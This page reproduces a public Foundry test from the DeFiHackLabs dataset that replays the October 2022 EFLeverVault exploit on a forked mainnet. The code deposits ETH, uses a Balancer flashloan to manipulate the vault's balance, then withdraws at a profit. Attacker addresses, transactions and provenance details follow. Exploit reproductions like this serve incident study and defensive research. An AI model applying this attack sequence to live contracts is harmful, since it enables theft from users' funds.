Public reproduction file
src/test/2022-10/EFLeverVault_exp.sol
Public reproduction file for dataset entry EFLeverVault.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~750 ETH8// Attacker : 0xdf31F4C8dC9548eb4c416Af26dC396A25FDE4D5F9// Attack Contracts :10// - https://etherscan.io/address/0x140cca423081ed0366765f18fc9f5ed29969938811// - https://etherscan.io/address/0x8663fbfc41a0bac88e7cd4b128b7a77381e7778112// Vulnerable Contract : https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d30913// Attack Txs :14// - https://etherscan.io/tx/0x1f1aba5bef04b7026ae3cb1cb77987071a8aff9592e785dd99860566ccad83d1 frontrun bot15// - https://etherscan.io/tx/0x160c5950a01b88953648ba90ec0a29b0c5383e055d35a7835d905c53a3dda01e exploiter17// @Info18// Vulnerable Contract Code : https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d309#code#L32420// @Analysis21// Twitter Supremacy : https://twitter.com/Supremacy_CA/status/158101282370178662422// Twitter MevRefund : https://twitter.com/MevRefund/status/158091735121762713623// Twitter Daniel Von Fange : https://twitter.com/danielvf/status/158093601055666176125interface IEFLeverVault {26 function deposit(27 uint25628 ) external payable;29 function withdraw(30 uint25631 ) external;32}34contract ContractTest is Test {35 IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));36 IEFLeverVault constant EFLEVER_VAULT = IEFLeverVault(0xe39fd820B58f83205Db1D9225f28105971c3D309);37 IBalancerVault constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);39 function setUp() public {40 vm.createSelectFork("mainnet", 15_746_199);41 // Adding labels to improve stack traces' readability42 vm.label(address(WETH_TOKEN), "WETH_TOKEN");43 vm.label(address(EFLEVER_VAULT), "EFLEVER_VAULT");44 vm.label(address(BALANCER_VAULT), "BALANCER_VAULT");45 vm.label(0xBAe7EC1BAaAe7d5801ad41691A2175Aa11bcba19, "EF_LEVER_TOKEN");46 vm.label(0x071108Ad85d7a766B41E0f5e5195537A8FC8E74D, "EF_LEVER_UNVERIFIED_SAFEMATH");47 vm.label(0x030bA81f1c18d280636F32af80b9AAd02Cf0854e, "aWETH_TOKEN");48 vm.label(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84, "stETH_TOKEN");49 vm.label(0x1982b2F5814301d4e9a8b0201555376e62F82428, "aSTETH_TOKEN");50 vm.label(0xF63B34710400CAd3e044cFfDcAb00a0f32E33eCf, "variableDebtWETH_TOKEN");51 vm.label(0xA50ba011c48153De246E5192C8f9258A2ba79Ca9, "AAVE_ORACLE");52 vm.label(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9, "AAVE_LENDING_POOL_V2");53 vm.label(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022, "CURVE_stETH_POOL");54 }56 function testExploit() public {57 emit log_named_decimal_uint(58 "[Start] Attacker WETH balance before exploit", WETH_TOKEN.balanceOf(address(this)), 1859 );60 uint256 ethBalanceBefore = address(this).balance;62 // Deposit 0.1 ETH into the EFLever Vault63 EFLEVER_VAULT.deposit{value: 1e17}(1e17);65 emit log_named_decimal_uint(66 "\n\tBefore flashloan, ETH balance in EFLeverVault", address(EFLEVER_VAULT).balance, 1867 );68 // Flashloan to manipulate contract's balance69 address[] memory tokens = new address[](1);70 tokens[0] = address(WETH_TOKEN);71 uint256[] memory amounts = new uint256[](1);72 amounts[0] = 1000 * 1e18;73 bytes memory userData = "0x2";74 BALANCER_VAULT.flashLoan(address(EFLEVER_VAULT), tokens, amounts, userData);75 emit log_named_decimal_uint(76 "\tAfter flashloan, ETH balance in EFLeverVault", address(EFLEVER_VAULT).balance, 1877 );78 EFLEVER_VAULT.withdraw(9e16);79 emit log_named_decimal_uint("\tAfter withdraw, ETH balance in EFLeverVault", address(EFLEVER_VAULT).balance, 18);81 // Swap the profit in ETH to WETH82 uint256 ethProfit = address(this).balance - ethBalanceBefore;83 WETH_TOKEN.deposit{value: ethProfit}();85 emit log_named_decimal_uint(86 "\n[End] Attacker WETH balance after exploit", WETH_TOKEN.balanceOf(address(this)), 1887 );88 }90 receive() external payable {}91}Analysis
Dataset entry
Public Foundry test for “EFLeverVault” (2022-10-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xdf31f4c8dc9548eb4c416af26dc396a25fde4d5f
- Attack Contract
0x140cca423081ed0366765f18fc9f5ed299699388
- Vulnerable Contract
0xe39fd820b58f83205db1d9225f28105971c3d309
- Twitter: https://twitter.com/Supremacy_CA/status/1581012823701786624
- Twitter: https://twitter.com/MevRefund/status/1580917351217627136
- Twitter: https://twitter.com/danielvf/status/1580936010556661761
- Explorer: https://etherscan.io/address/0x140cca423081ed0366765f18fc9f5ed299699388
- Explorer: https://etherscan.io/address/0x8663fbfc41a0bac88e7cd4b128b7a77381e77781
- Explorer: https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d309
- Explorer: https://etherscan.io/tx/0x1f1aba5bef04b7026ae3cb1cb77987071a8aff9592e785dd99860566ccad83d1
- Explorer: https://etherscan.io/tx/0x160c5950a01b88953648ba90ec0a29b0c5383e055d35a7835d905c53a3dda01e
- Explorer: https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d309#code#L324
File record
- Name
- EFLeverVault
- Path
- src/test/2022-10/EFLeverVault_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d71703f019d00bd59faa4d1e25a7707d4c48aa38
- Language
- Solidity
- Size
- 92 lines
- Date
- 2022-10-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/EFLeverVault_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d71703f019d00bd59faa4d1e25a7707d4c48aa38, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.